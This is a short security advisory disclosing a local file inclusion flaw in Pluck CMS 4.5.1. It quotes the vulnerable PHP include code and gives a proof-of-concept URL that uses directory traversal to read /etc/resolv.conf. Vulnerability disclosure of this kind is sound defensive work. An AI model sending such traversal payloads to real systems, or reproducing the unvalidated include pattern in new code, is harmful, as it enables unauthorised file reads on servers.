Pluck Local File inclusion

[admin () bugreport ir]

########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: Pluck Local File inclusion
# Vendor: http://www.pluck-cms.org
# Bug: Local File Inclusion
# Vulnerable Version: 4.5.1 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
###################################################################


####################
- Description:
####################

Pluck is a content management system, written in php.


####################
- Vulnerability:
####################

+--> Local File Inclusion

Input passed to multiple parameters in "predefined_variables.php" are  
not properly verified
before being used to include files.
This can be exploited to include arbitrary files from local resources.

Code Snippet:
/data/inc/themes/predefined_variables.php #line:15-38

//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");

//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];

if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }

elseif ($album) {
$title = $album; }

elseif ($blogpost) {
include("data/blog/$cat/posts/$blogpost"); }

elseif ((!file_exists("data/content/$filetoread")) && (!$album) &&  
(!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }


POC:  
http://localhost/pluck-4_5_1/data/inc/themes/predefined_variables.php?blogpost=../../../../../../../../etc/resolv.conf

####################
- Original Advisory:
####################

http://www.bugreport.ir/?/48

####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.comz